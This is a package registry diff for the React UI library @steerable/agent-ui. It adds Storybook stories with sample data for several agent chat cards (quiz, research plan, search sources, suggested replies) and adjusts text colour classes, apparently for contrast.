@steerable/agent-ui 0.12.4 → 0.12.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cards/ActionSegmentCard.stories.d.ts +6 -0
- package/dist/cards/ActionSegmentCard.stories.js +48 -0
- package/dist/cards/AnalysisDocumentCard.js +1 -1
- package/dist/cards/AnalysisDocumentCard.stories.d.ts +6 -0
- package/dist/cards/AnalysisDocumentCard.stories.js +29 -0
- package/dist/cards/AskUserQuestionsCard.js +7 -7
- package/dist/cards/AskUserQuestionsCard.stories.d.ts +7 -0
- package/dist/cards/AskUserQuestionsCard.stories.js +56 -0
- package/dist/cards/CoverageReportCard.js +4 -4
- package/dist/cards/CoverageReportCard.stories.d.ts +6 -0
- package/dist/cards/CoverageReportCard.stories.js +69 -0
- package/dist/cards/OrchestrationPlanCard.js +5 -5
- package/dist/cards/OrchestrationPlanCard.stories.d.ts +6 -0
- package/dist/cards/OrchestrationPlanCard.stories.js +36 -0
- package/dist/cards/PlanSelectorCard.js +11 -11
- package/dist/cards/PlanSelectorCard.stories.d.ts +6 -0
- package/dist/cards/PlanSelectorCard.stories.js +50 -0
- package/dist/cards/PlanStepsCard.js +1 -1
- package/dist/cards/PlanStepsCard.stories.d.ts +6 -0
- package/dist/cards/PlanStepsCard.stories.js +25 -0
- package/dist/cards/QuizCard.js +3 -3
- package/dist/cards/QuizCard.stories.d.ts +6 -0
- package/dist/cards/QuizCard.stories.js +43 -0
- package/dist/cards/ResearchPlanCard.js +10 -10
- package/dist/cards/ResearchPlanCard.stories.d.ts +6 -0
- package/dist/cards/ResearchPlanCard.stories.js +50 -0
- package/dist/cards/SearchSourcesCard.js +4 -4
- package/dist/cards/SearchSourcesCard.stories.d.ts +6 -0
- package/dist/cards/SearchSourcesCard.stories.js +40 -0
- package/dist/cards/SuggestedRepliesCard.stories.d.ts +6 -0
- package/dist/cards/SuggestedRepliesCard.stories.js +31 -0
- package/dist/cards/SummaryMessageCard.js +3 -3
- package/dist/cards/SummaryMessageCard.stories.d.ts +7 -0
- package/dist/cards/SummaryMessageCard.stories.js +40 -0
- package/dist/cards/ThinkingProcessCard.js +3 -3
- package/dist/cards/ThinkingProcessCard.stories.d.ts +7 -0
- package/dist/cards/ThinkingProcessCard.stories.js +37 -0
- package/dist/cards/ToolExecutionCard.js +7 -7
- package/dist/cards/ToolExecutionCard.stories.d.ts +7 -0
- package/dist/cards/ToolExecutionCard.stories.js +53 -0
- package/package.json +2 -2
- package/src/DesignTokens.mdx +83 -0
- package/src/Introduction.mdx +21 -21
- package/src/cards/ActionSegmentCard.stories.tsx +57 -0
- package/src/cards/AnalysisDocumentCard.stories.tsx +38 -0
- package/src/cards/AnalysisDocumentCard.tsx +3 -3
- package/src/cards/AskUserQuestionsCard.stories.tsx +66 -0
- package/src/cards/AskUserQuestionsCard.tsx +11 -11
- package/src/cards/CoverageReportCard.stories.tsx +78 -0
- package/src/cards/CoverageReportCard.tsx +12 -12
- package/src/cards/OrchestrationPlanCard.stories.tsx +45 -0
- package/src/cards/OrchestrationPlanCard.tsx +19 -19
- package/src/cards/PlanSelectorCard.stories.tsx +59 -0
- package/src/cards/PlanSelectorCard.tsx +19 -19
- package/src/cards/PlanStepsCard.stories.tsx +34 -0
- package/src/cards/PlanStepsCard.tsx +2 -2
- package/src/cards/QuizCard.stories.tsx +52 -0
- package/src/cards/QuizCard.tsx +5 -5
- package/src/cards/ResearchPlanCard.stories.tsx +59 -0
- package/src/cards/ResearchPlanCard.tsx +14 -14
- package/src/cards/SearchSourcesCard.stories.tsx +49 -0
- package/src/cards/SearchSourcesCard.tsx +10 -10
- package/src/cards/SuggestedRepliesCard.stories.tsx +40 -0
- package/src/cards/SummaryMessageCard.stories.tsx +50 -0
- package/src/cards/SummaryMessageCard.tsx +3 -3
- package/src/cards/ThinkingProcessCard.stories.tsx +47 -0
- package/src/cards/ThinkingProcessCard.tsx +4 -4
- package/src/cards/ToolExecutionCard.stories.tsx +63 -0
- package/src/cards/ToolExecutionCard.tsx +13 -13
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
import { jsx as _jsx } from "react/jsx-runtime";
|
|
2
|
+
import { PlanStepsCard } from './PlanStepsCard.js';
|
|
3
|
+
const meta = {
|
|
4
|
+
title: 'Cards/PlanStepsCard',
|
|
5
|
+
component: PlanStepsCard,
|
|
6
|
+
parameters: {
|
|
7
|
+
layout: 'centered',
|
|
8
|
+
docs: {
|
|
9
|
+
description: {
|
|
10
|
+
component: 'Compact inline plan-steps breadcrumb card emitted during quick multi-step execution.',
|
|
11
|
+
},
|
|
12
|
+
},
|
|
13
|
+
},
|
|
14
|
+
decorators: [
|
|
15
|
+
(Story) => (_jsx("div", { className: "w-[480px]", children: _jsx(Story, {}) })),
|
|
16
|
+
],
|
|
17
|
+
};
|
|
18
|
+
export default meta;
|
|
19
|
+
export const Default = {
|
|
20
|
+
args: {
|
|
21
|
+
payload: {
|
|
22
|
+
steps: ['Inspect schema', 'Run unit tests', 'Verify output'],
|
|
23
|
+
},
|
|
24
|
+
},
|
|
25
|
+
};
|
package/dist/cards/QuizCard.js
CHANGED
|
@@ -100,13 +100,13 @@ export const QuizCard = ({ payload, isComplete, onSubmit, className, choiceVaria
|
|
|
100
100
|
return (_jsx("div", { className: [
|
|
101
101
|
'steerable-quiz overflow-hidden rounded-lg border border-[var(--agent-border,#e5e7eb)] bg-[var(--agent-card-bg,#fff)] text-sm text-[var(--agent-foreground,#111827)]',
|
|
102
102
|
className,
|
|
103
|
-
].filter(Boolean).join(' '), children: _jsxs("div", { className: "space-y-3 p-3", children: [_jsxs("div", { className: "flex items-center gap-2", children: [_jsx(ClipboardIcon, { size: 14, className: "shrink-0 text-blue-500" }), _jsx("span", { className: "break-words font-medium", children: payload.title }), isReadOnly && _jsx(CheckIcon, { size: 12, className: "text-emerald-
|
|
103
|
+
].filter(Boolean).join(' '), children: _jsxs("div", { className: "space-y-3 p-3", children: [_jsxs("div", { className: "flex items-center gap-2", children: [_jsx(ClipboardIcon, { size: 14, className: "shrink-0 text-blue-500" }), _jsx("span", { className: "break-words font-medium", children: payload.title }), isReadOnly && _jsx(CheckIcon, { size: 12, className: "text-emerald-700" })] }), payload.description && (_jsx("p", { className: "break-words text-xs leading-relaxed text-[var(--agent-muted-foreground,#4b5563)]", children: payload.description })), _jsx("div", { className: questionVariant === 'card' ? 'space-y-3' : 'space-y-4', children: (payload.questions ?? []).map((q, idx) => {
|
|
104
104
|
const value = draft[q.id] ?? emptyAnswer(q);
|
|
105
105
|
const metaNode = renderQuestionMeta
|
|
106
106
|
? asReactNode(renderQuestionMeta(q))
|
|
107
107
|
: defaultMeta(q);
|
|
108
|
-
const inner = (_jsxs(_Fragment, { children: [_jsxs("div", { className: "mb-2", children: [_jsxs("p", { className: "break-words text-sm font-medium leading-relaxed", children: [idx + 1, ". ", q.stem] }), metaNode && (_jsx("div", { className: "mt-1 flex flex-wrap items-center gap-x-2 gap-y-0.5 text-[11px] text-[var(--agent-muted-foreground,#
|
|
108
|
+
const inner = (_jsxs(_Fragment, { children: [_jsxs("div", { className: "mb-2", children: [_jsxs("p", { className: "break-words text-sm font-medium leading-relaxed", children: [idx + 1, ". ", q.stem] }), metaNode && (_jsx("div", { className: "mt-1 flex flex-wrap items-center gap-x-2 gap-y-0.5 text-[11px] text-[var(--agent-muted-foreground,#4b5563)]", children: metaNode }))] }), q.type === 'choice' && q.options ? renderChoice(q, value) : null, q.type === 'judge' ? renderJudge(q, value) : null, q.type === 'fill' || q.type === 'short_answer' ? renderTextarea(q, value) : null] }));
|
|
109
109
|
return questionVariant === 'card' ? (_jsx("div", { className: "rounded-lg border border-[var(--agent-border,#e5e7eb)] bg-[var(--agent-background,#fff)] p-3", children: inner }, q.id)) : (_jsx("div", { className: "space-y-1.5", children: inner }, q.id));
|
|
110
|
-
}) }), _jsxs("div", { className: "flex flex-wrap items-center justify-between gap-x-3 gap-y-2 pt-1", children: [isReadOnly ? (_jsxs("div", { className: "inline-flex min-w-0 items-center gap-1.5 text-xs text-green-
|
|
110
|
+
}) }), _jsxs("div", { className: "flex flex-wrap items-center justify-between gap-x-3 gap-y-2 pt-1", children: [isReadOnly ? (_jsxs("div", { className: "inline-flex min-w-0 items-center gap-1.5 text-xs text-green-700 dark:text-green-400", children: [_jsx(CheckIcon, { size: 12 }), _jsx("span", { className: "truncate", children: submittedMessage ?? '已提交' })] })) : (submitHint && (_jsx("span", { className: "min-w-0 flex-1 break-words text-xs text-[var(--agent-muted-foreground,#4b5563)]", children: submitHint }))), !isReadOnly && onSubmit && (_jsx("button", { type: "button", onClick: handleSubmit, disabled: submitting || isReadOnly, className: "ml-auto inline-flex h-[28px] shrink-0 items-center gap-1 rounded-full bg-[var(--agent-primary,#18181b)] px-3 text-xs font-medium text-[var(--agent-primary-foreground,#fff)] transition-all duration-200 hover:opacity-90 disabled:opacity-50", children: submitting ? (_jsxs(_Fragment, { children: [_jsx(LoaderIcon, { size: 10, className: "animate-spin" }), submittingLabel] })) : (payload.submitActionLabel || '提交') }))] })] }) }));
|
|
111
111
|
};
|
|
112
112
|
export default QuizCard;
|
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
import { jsx as _jsx } from "react/jsx-runtime";
|
|
2
|
+
import { QuizCard } from './QuizCard.js';
|
|
3
|
+
const meta = {
|
|
4
|
+
title: 'Cards/QuizCard',
|
|
5
|
+
component: QuizCard,
|
|
6
|
+
parameters: {
|
|
7
|
+
layout: 'centered',
|
|
8
|
+
actions: { argTypesRegex: '^on[A-Z].*' },
|
|
9
|
+
docs: {
|
|
10
|
+
description: {
|
|
11
|
+
component: 'Interactive multi-question quiz card supporting single/multiple choice, judge, and short-answer prompts.',
|
|
12
|
+
},
|
|
13
|
+
},
|
|
14
|
+
},
|
|
15
|
+
decorators: [
|
|
16
|
+
(Story) => (_jsx("div", { className: "w-[500px]", children: _jsx(Story, {}) })),
|
|
17
|
+
],
|
|
18
|
+
};
|
|
19
|
+
export default meta;
|
|
20
|
+
export const Default = {
|
|
21
|
+
args: {
|
|
22
|
+
onSubmit: () => { },
|
|
23
|
+
payload: {
|
|
24
|
+
quizId: 'arch-check-1',
|
|
25
|
+
title: 'Steerable Architecture Check',
|
|
26
|
+
description: 'Verify tier dependency and protocol invariants.',
|
|
27
|
+
submitActionLabel: 'Submit answers',
|
|
28
|
+
questions: [
|
|
29
|
+
{
|
|
30
|
+
id: 'q1',
|
|
31
|
+
type: 'choice',
|
|
32
|
+
stem: 'Which tier owns JSON-RPC transport and OS sandboxing for desktop hosts?',
|
|
33
|
+
options: ['Tier 1 Protocol', 'Tier 3 Sidecar', 'Tier 4 UI'],
|
|
34
|
+
allowMultiple: false,
|
|
35
|
+
placeholder: null,
|
|
36
|
+
points: 10,
|
|
37
|
+
knowledgePointId: null,
|
|
38
|
+
difficulty: 1,
|
|
39
|
+
},
|
|
40
|
+
],
|
|
41
|
+
},
|
|
42
|
+
},
|
|
43
|
+
};
|
|
@@ -16,13 +16,13 @@ const STATUS_LABELS = {
|
|
|
16
16
|
exhausted: '已穷尽',
|
|
17
17
|
};
|
|
18
18
|
const STATUS_COLOR = {
|
|
19
|
-
pending: 'bg-[var(--agent-muted,#f3f4f6)] text-[var(--agent-muted-foreground,#
|
|
20
|
-
searching: 'bg-[var(--agent-muted,#f3f4f6)] text-[var(--agent-muted-foreground,#
|
|
21
|
-
evidenced_strong: 'bg-green-500/15 text-green-
|
|
22
|
-
evidenced_medium: 'bg-blue-500/15 text-blue-
|
|
23
|
-
evidenced_weak: 'bg-amber-500/15 text-amber-
|
|
24
|
-
conflicted: 'bg-red-500/15 text-red-
|
|
25
|
-
exhausted: 'bg-zinc-500/15 text-zinc-
|
|
19
|
+
pending: 'bg-[var(--agent-muted,#f3f4f6)] text-[var(--agent-muted-foreground,#4b5563)]',
|
|
20
|
+
searching: 'bg-[var(--agent-muted,#f3f4f6)] text-[var(--agent-muted-foreground,#4b5563)]',
|
|
21
|
+
evidenced_strong: 'bg-green-500/15 text-green-800 dark:text-green-400',
|
|
22
|
+
evidenced_medium: 'bg-blue-500/15 text-blue-800 dark:text-blue-400',
|
|
23
|
+
evidenced_weak: 'bg-amber-500/15 text-amber-800 dark:text-amber-400',
|
|
24
|
+
conflicted: 'bg-red-500/15 text-red-800 dark:text-red-400',
|
|
25
|
+
exhausted: 'bg-zinc-500/15 text-zinc-800 dark:text-zinc-400',
|
|
26
26
|
};
|
|
27
27
|
const DECISION_LABEL = {
|
|
28
28
|
continue: '继续深挖',
|
|
@@ -40,10 +40,10 @@ export const ResearchPlanCard = ({ payload, totalRounds = 3, className, }) => {
|
|
|
40
40
|
return (_jsx("div", { className: [
|
|
41
41
|
'steerable-research-plan rounded-lg border border-[var(--agent-border,#e5e7eb)] bg-[var(--agent-card-bg,#fff)] text-sm text-[var(--agent-foreground,#111827)]',
|
|
42
42
|
className,
|
|
43
|
-
].filter(Boolean).join(' '), children: _jsxs("div", { className: "space-y-3 p-3", children: [_jsxs("div", { className: "space-y-2", children: [_jsxs("div", { className: "flex items-center justify-between gap-2", children: [_jsxs("div", { className: "flex min-w-0 items-center gap-2", children: [_jsx(GitBranchIcon, { size: 14, className: "shrink-0 text-blue-500" }), _jsx("span", { className: "truncate text-sm font-medium", children: payload.topic })] }), _jsxs("div", { className: "inline-flex shrink-0 items-center gap-1", children: [_jsxs("span", { className: "rounded-full bg-[var(--agent-muted,#f3f4f6)] px-2 py-0.5 text-xs text-[var(--agent-muted-foreground,#
|
|
43
|
+
].filter(Boolean).join(' '), children: _jsxs("div", { className: "space-y-3 p-3", children: [_jsxs("div", { className: "space-y-2", children: [_jsxs("div", { className: "flex items-center justify-between gap-2", children: [_jsxs("div", { className: "flex min-w-0 items-center gap-2", children: [_jsx(GitBranchIcon, { size: 14, className: "shrink-0 text-blue-500" }), _jsx("span", { className: "truncate text-sm font-medium", children: payload.topic })] }), _jsxs("div", { className: "inline-flex shrink-0 items-center gap-1", children: [_jsxs("span", { className: "rounded-full bg-[var(--agent-muted,#f3f4f6)] px-2 py-0.5 text-xs text-[var(--agent-muted-foreground,#4b5563)]", children: ["\u7B2C ", round, "/", totalRounds, " \u8F6E"] }), payload.final && (_jsx("span", { className: "rounded-full bg-green-500/15 px-2 py-0.5 text-xs text-green-800 dark:text-green-400", children: "\u5DF2\u6536\u655B" }))] })] }), _jsx("div", { className: "h-1.5 w-full overflow-hidden rounded-full bg-[var(--agent-muted,#f3f4f6)]", children: _jsx("div", { className: "h-full bg-blue-500 transition-all duration-200", style: { width: `${progressPercent}%` } }) })] }), _jsxs("div", { className: "space-y-2", children: [_jsxs("div", { className: "flex items-center gap-2 text-sm font-medium", children: [_jsx(ListChecksIcon, { size: 14, className: "text-blue-500" }), "\u5B50\u95EE\u9898\u72B6\u6001"] }), _jsx("div", { className: "space-y-2", children: subQuestions.map((q) => {
|
|
44
44
|
const kind = (q.kind ?? 'fact');
|
|
45
45
|
const status = (q.status ?? 'pending');
|
|
46
|
-
return (_jsxs("div", { className: "rounded-md border border-[var(--agent-border,#e5e7eb)] bg-[var(--agent-card-bg,#fff)] p-2.5", children: [_jsxs("div", { className: "mb-1.5 flex flex-wrap items-center gap-1.5", children: [_jsx("span", { className: "rounded-full bg-[var(--agent-muted,#f3f4f6)] px-1.5 py-0.5 text-xs text-[var(--agent-muted-foreground,#
|
|
47
|
-
}) })] }), payload.decision && (_jsxs("div", { className: "rounded-md border border-[var(--agent-border,#e5e7eb)] bg-[var(--agent-muted,#f3f4f6)]/40 px-2.5 py-2", children: [_jsx("div", { className: "text-xs text-[var(--agent-muted-foreground,#
|
|
46
|
+
return (_jsxs("div", { className: "rounded-md border border-[var(--agent-border,#e5e7eb)] bg-[var(--agent-card-bg,#fff)] p-2.5", children: [_jsxs("div", { className: "mb-1.5 flex flex-wrap items-center gap-1.5", children: [_jsx("span", { className: "rounded-full bg-[var(--agent-muted,#f3f4f6)] px-1.5 py-0.5 text-xs text-[var(--agent-muted-foreground,#4b5563)]", children: KIND_LABELS[kind] ?? kind }), _jsx("span", { className: `rounded-full px-1.5 py-0.5 text-xs ${STATUS_COLOR[status]}`, children: STATUS_LABELS[status] ?? status }), _jsxs("span", { className: "text-xs text-[var(--agent-muted-foreground,#4b5563)]", children: ["\u8BC1\u636E ", q.evidenceCount ?? 0] })] }), _jsx("div", { className: "text-sm", children: q.question }), q.note && (_jsx("div", { className: "mt-1 whitespace-pre-wrap text-xs text-[var(--agent-muted-foreground,#4b5563)]", children: q.note }))] }, q.id));
|
|
47
|
+
}) })] }), payload.decision && (_jsxs("div", { className: "rounded-md border border-[var(--agent-border,#e5e7eb)] bg-[var(--agent-muted,#f3f4f6)]/40 px-2.5 py-2", children: [_jsx("div", { className: "text-xs text-[var(--agent-muted-foreground,#4b5563)]", children: "\u4E0B\u4E00\u6B65\u51B3\u7B56" }), _jsx("div", { className: "text-sm font-medium", children: decisionLabel ?? payload.decision.next }), payload.decision.reason && (_jsx("div", { className: "mt-0.5 whitespace-pre-wrap text-xs text-[var(--agent-muted-foreground,#4b5563)]", children: payload.decision.reason }))] }))] }) }));
|
|
48
48
|
};
|
|
49
49
|
export default ResearchPlanCard;
|
|
@@ -0,0 +1,6 @@
|
|
|
1
|
+
import type { Meta, StoryObj } from '@storybook/react';
|
|
2
|
+
import { ResearchPlanCard } from './ResearchPlanCard.js';
|
|
3
|
+
declare const meta: Meta<typeof ResearchPlanCard>;
|
|
4
|
+
export default meta;
|
|
5
|
+
type Story = StoryObj<typeof ResearchPlanCard>;
|
|
6
|
+
export declare const Default: Story;
|
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
import { jsx as _jsx } from "react/jsx-runtime";
|
|
2
|
+
import { ResearchPlanCard } from './ResearchPlanCard.js';
|
|
3
|
+
const meta = {
|
|
4
|
+
title: 'Cards/ResearchPlanCard',
|
|
5
|
+
component: ResearchPlanCard,
|
|
6
|
+
parameters: {
|
|
7
|
+
layout: 'centered',
|
|
8
|
+
docs: {
|
|
9
|
+
description: {
|
|
10
|
+
component: 'Multi-round research planner card tracking sub-questions, evidence strength, and continuation decisions.',
|
|
11
|
+
},
|
|
12
|
+
},
|
|
13
|
+
},
|
|
14
|
+
decorators: [
|
|
15
|
+
(Story) => (_jsx("div", { className: "w-[520px]", children: _jsx(Story, {}) })),
|
|
16
|
+
],
|
|
17
|
+
};
|
|
18
|
+
export default meta;
|
|
19
|
+
export const Default = {
|
|
20
|
+
args: {
|
|
21
|
+
totalRounds: 3,
|
|
22
|
+
payload: {
|
|
23
|
+
topic: 'Flash-model tool-call failure modes on Terminal-Bench 2.1',
|
|
24
|
+
round: 2,
|
|
25
|
+
final: false,
|
|
26
|
+
subQuestions: [
|
|
27
|
+
{
|
|
28
|
+
id: 'sq-1',
|
|
29
|
+
question: 'How often do quantized models emit plain-text XML tool calls?',
|
|
30
|
+
kind: 'fact',
|
|
31
|
+
status: 'evidenced_strong',
|
|
32
|
+
evidenceCount: 14,
|
|
33
|
+
note: 'Measured across 89 TB 2.1 tasks.',
|
|
34
|
+
},
|
|
35
|
+
{
|
|
36
|
+
id: 'sq-2',
|
|
37
|
+
question: 'Which completion veto rule prevents false-positive success claims?',
|
|
38
|
+
kind: 'risk',
|
|
39
|
+
status: 'pending',
|
|
40
|
+
evidenceCount: 2,
|
|
41
|
+
note: null,
|
|
42
|
+
},
|
|
43
|
+
],
|
|
44
|
+
decision: {
|
|
45
|
+
next: 'expand',
|
|
46
|
+
reason: 'Collect token calibration traces for DeepSeek-V3.1-0731.',
|
|
47
|
+
},
|
|
48
|
+
},
|
|
49
|
+
},
|
|
50
|
+
};
|
|
@@ -39,7 +39,7 @@ function FaviconCircle({ src, size = 18 }) {
|
|
|
39
39
|
const [failed, setFailed] = React.useState(false);
|
|
40
40
|
const showFallback = !src || failed;
|
|
41
41
|
if (showFallback) {
|
|
42
|
-
return (_jsx("span", { className: "inline-flex items-center justify-center rounded-full border-2 border-[var(--agent-background,#fff)] bg-[var(--agent-muted,#f3f4f6)]", style: { width: size, height: size }, children: _jsx(GlobeIcon, { size: Math.round(size * 0.55), className: "text-[var(--agent-muted-foreground,#
|
|
42
|
+
return (_jsx("span", { className: "inline-flex items-center justify-center rounded-full border-2 border-[var(--agent-background,#fff)] bg-[var(--agent-muted,#f3f4f6)]", style: { width: size, height: size }, children: _jsx(GlobeIcon, { size: Math.round(size * 0.55), className: "text-[var(--agent-muted-foreground,#4b5563)]" }) }));
|
|
43
43
|
}
|
|
44
44
|
return (_jsx("img", { src: src, alt: "", width: size, height: size, className: "rounded-full border-2 border-[var(--agent-background,#fff)] bg-[var(--agent-background,#fff)] object-cover", style: { width: size, height: size }, loading: "lazy", onError: () => setFailed(true) }));
|
|
45
45
|
}
|
|
@@ -73,10 +73,10 @@ export const SearchSourcesCard = ({ payload, className, appearance = 'card', fav
|
|
|
73
73
|
className,
|
|
74
74
|
].filter(Boolean).join(' '), children: [_jsxs("button", { type: "button", onClick: () => setExpanded((v) => !v), className: isCard
|
|
75
75
|
? 'flex w-full items-center justify-between gap-2 px-3 py-2 text-left'
|
|
76
|
-
: 'group flex items-center gap-2 rounded-md py-1 text-sm text-[var(--agent-muted-foreground,#
|
|
77
|
-
isCard ? 'text-[var(--agent-muted-foreground,#
|
|
76
|
+
: 'group flex items-center gap-2 rounded-md py-1 text-sm text-[var(--agent-muted-foreground,#4b5563)] transition-colors duration-150 hover:text-[var(--agent-foreground,#111827)]', children: [_jsx("span", { className: isCard ? 'flex items-center gap-2' : 'flex items-center', children: isCard ? (_jsxs(_Fragment, { children: [_jsx("span", { className: "flex -space-x-2", children: stacked.map((s, idx) => (_jsx(FaviconCircle, { src: s.favicon ?? faviconUrlFor(s.url) }, `${idx}-${s.url}`))) }), _jsx("span", { className: "text-xs text-[var(--agent-muted-foreground,#4b5563)]", children: summaryLabel })] })) : (_jsx(_Fragment, { children: _jsxs("span", { className: "flex", style: { paddingLeft: 0 }, children: [stacked.map((s, i) => (_jsx("span", { className: "inline-block", style: { marginLeft: i === 0 ? 0 : -6, zIndex: MAX_STACKED - i }, children: _jsx(FaviconCircle, { src: s.favicon ?? faviconUrlFor(s.url) }) }, `${i}-${s.url}`))), more > 0 && (_jsxs("span", { className: "inline-flex items-center justify-center rounded-full border-2 border-[var(--agent-background,#fff)] bg-[var(--agent-muted,#f3f4f6)] text-[10px] font-medium text-[var(--agent-muted-foreground,#4b5563)]", style: { width: 18, height: 18, marginLeft: -6, zIndex: 0 }, children: ["+", more] }))] }) })) }), !isCard && _jsx("span", { className: "ml-2", children: summaryLabel }), _jsx(ChevronDownIcon, { size: isCard ? 14 : 14, className: [
|
|
77
|
+
isCard ? 'text-[var(--agent-muted-foreground,#4b5563)]' : 'h-3.5 w-3.5',
|
|
78
78
|
'transition-transform duration-200',
|
|
79
79
|
expanded ? 'rotate-180' : '',
|
|
80
|
-
].filter(Boolean).join(' ') })] }), expanded && (isCard ? (_jsx("ul", { className: "divide-y divide-[var(--agent-border,#e5e7eb)] border-t border-[var(--agent-border,#e5e7eb)]", children: unique.map((s, idx) => (_jsx("li", { className: "px-3 py-2 text-sm", children: _jsxs("a", { href: s.url, target: "_blank", rel: "noopener noreferrer", className: "flex items-start gap-2 text-[var(--agent-foreground,#111827)] hover:underline", children: [_jsx(FaviconCircle, { src: s.favicon ?? faviconUrlFor(s.url), size: 16 }), _jsxs("span", { className: "min-w-0 flex-1", children: [_jsx("span", { className: "block truncate font-medium", children: s.title || extractDomain(s.url) }), _jsx("span", { className: "block truncate text-xs text-[var(--agent-muted-foreground,#
|
|
80
|
+
].filter(Boolean).join(' ') })] }), expanded && (isCard ? (_jsx("ul", { className: "divide-y divide-[var(--agent-border,#e5e7eb)] border-t border-[var(--agent-border,#e5e7eb)]", children: unique.map((s, idx) => (_jsx("li", { className: "px-3 py-2 text-sm", children: _jsxs("a", { href: s.url, target: "_blank", rel: "noopener noreferrer", className: "flex items-start gap-2 text-[var(--agent-foreground,#111827)] hover:underline", children: [_jsx(FaviconCircle, { src: s.favicon ?? faviconUrlFor(s.url), size: 16 }), _jsxs("span", { className: "min-w-0 flex-1", children: [_jsx("span", { className: "block truncate font-medium", children: s.title || extractDomain(s.url) }), _jsx("span", { className: "block truncate text-xs text-[var(--agent-muted-foreground,#4b5563)]", children: extractDomain(s.url) }), s.snippet && (_jsx("span", { className: "mt-1 block text-xs text-[var(--agent-muted-foreground,#4b5563)] line-clamp-2", children: s.snippet }))] }), _jsx(ExternalLinkIcon, { size: 12, className: "mt-1 flex-shrink-0 text-[var(--agent-muted-foreground,#4b5563)]" })] }) }, `${idx}-${s.url}`))) })) : (_jsx("div", { className: "mt-1.5 flex flex-col gap-0.5", children: unique.map((s, idx) => (_jsxs("a", { href: s.url, target: "_blank", rel: "noopener noreferrer", className: "group/item flex items-center gap-2.5 rounded-md px-2 py-1.5 transition-colors duration-150 hover:bg-[var(--agent-muted,#f3f4f6)]", children: [_jsx(FaviconCircle, { src: s.favicon ?? faviconUrlFor(s.url), size: 16 }), _jsxs("div", { className: "min-w-0 flex-1", children: [_jsx("div", { className: "truncate text-xs text-[var(--agent-foreground,#111827)]", children: s.title || extractDomain(s.url) }), _jsx("div", { className: "truncate text-[11px] text-[var(--agent-muted-foreground,#4b5563)]", children: extractDomain(s.url) })] }), _jsx(ExternalLinkIcon, { size: 12, className: "shrink-0 text-[var(--agent-muted-foreground,#4b5563)] opacity-0 transition-opacity group-hover/item:opacity-100" })] }, `${idx}-${s.url}`))) })))] }));
|
|
81
81
|
};
|
|
82
82
|
export default SearchSourcesCard;
|
|
@@ -0,0 +1,6 @@
|
|
|
1
|
+
import type { Meta, StoryObj } from '@storybook/react';
|
|
2
|
+
import { SearchSourcesCard } from './SearchSourcesCard.js';
|
|
3
|
+
declare const meta: Meta<typeof SearchSourcesCard>;
|
|
4
|
+
export default meta;
|
|
5
|
+
type Story = StoryObj<typeof SearchSourcesCard>;
|
|
6
|
+
export declare const Default: Story;
|
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
import { jsx as _jsx } from "react/jsx-runtime";
|
|
2
|
+
import { SearchSourcesCard } from './SearchSourcesCard.js';
|
|
3
|
+
const meta = {
|
|
4
|
+
title: 'Cards/SearchSourcesCard',
|
|
5
|
+
component: SearchSourcesCard,
|
|
6
|
+
parameters: {
|
|
7
|
+
layout: 'centered',
|
|
8
|
+
docs: {
|
|
9
|
+
description: {
|
|
10
|
+
component: 'Stacked citation pill and expandable web search source list.',
|
|
11
|
+
},
|
|
12
|
+
},
|
|
13
|
+
},
|
|
14
|
+
decorators: [
|
|
15
|
+
(Story) => (_jsx("div", { className: "w-[480px]", children: _jsx(Story, {}) })),
|
|
16
|
+
],
|
|
17
|
+
};
|
|
18
|
+
export default meta;
|
|
19
|
+
export const Default = {
|
|
20
|
+
args: {
|
|
21
|
+
payload: {
|
|
22
|
+
sources: [
|
|
23
|
+
{
|
|
24
|
+
url: 'https://steerableframework.com/spec/overview/',
|
|
25
|
+
title: 'Steerable Wire Protocol Spec',
|
|
26
|
+
snippet: 'Single JSON Schema generating TypeScript and Pydantic wire models.',
|
|
27
|
+
favicon: null,
|
|
28
|
+
publishedAt: '2026-11-01',
|
|
29
|
+
},
|
|
30
|
+
{
|
|
31
|
+
url: 'https://steerableframework.com/evals/',
|
|
32
|
+
title: 'Terminal-Bench 2.1 Evaluation Methodology',
|
|
33
|
+
snippet: '89 real terminal tasks across Flash-priced models.',
|
|
34
|
+
favicon: null,
|
|
35
|
+
publishedAt: '2026-11-10',
|
|
36
|
+
},
|
|
37
|
+
],
|
|
38
|
+
},
|
|
39
|
+
},
|
|
40
|
+
};
|
|
@@ -0,0 +1,6 @@
|
|
|
1
|
+
import type { Meta, StoryObj } from '@storybook/react';
|
|
2
|
+
import { SuggestedRepliesCard } from './SuggestedRepliesCard.js';
|
|
3
|
+
declare const meta: Meta<typeof SuggestedRepliesCard>;
|
|
4
|
+
export default meta;
|
|
5
|
+
type Story = StoryObj<typeof SuggestedRepliesCard>;
|
|
6
|
+
export declare const Default: Story;
|
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
import { jsx as _jsx } from "react/jsx-runtime";
|
|
2
|
+
import { SuggestedRepliesCard } from './SuggestedRepliesCard.js';
|
|
3
|
+
const meta = {
|
|
4
|
+
title: 'Cards/SuggestedRepliesCard',
|
|
5
|
+
component: SuggestedRepliesCard,
|
|
6
|
+
parameters: {
|
|
7
|
+
layout: 'centered',
|
|
8
|
+
actions: { argTypesRegex: '^on[A-Z].*' },
|
|
9
|
+
docs: {
|
|
10
|
+
description: {
|
|
11
|
+
component: 'Follow-up suggestion chips rendered after an assistant turn completes.',
|
|
12
|
+
},
|
|
13
|
+
},
|
|
14
|
+
},
|
|
15
|
+
decorators: [
|
|
16
|
+
(Story) => (_jsx("div", { className: "w-[480px]", children: _jsx(Story, {}) })),
|
|
17
|
+
],
|
|
18
|
+
};
|
|
19
|
+
export default meta;
|
|
20
|
+
export const Default = {
|
|
21
|
+
args: {
|
|
22
|
+
onSelect: () => { },
|
|
23
|
+
payload: {
|
|
24
|
+
suggestions: [
|
|
25
|
+
'Run the parser unit tests',
|
|
26
|
+
'Inspect Seatbelt sandbox rules',
|
|
27
|
+
'Export audit-report.md',
|
|
28
|
+
],
|
|
29
|
+
},
|
|
30
|
+
},
|
|
31
|
+
};
|
|
@@ -41,15 +41,15 @@ export const SummaryMessageCard = ({ payload, renderMarkdown, renderLabel, rende
|
|
|
41
41
|
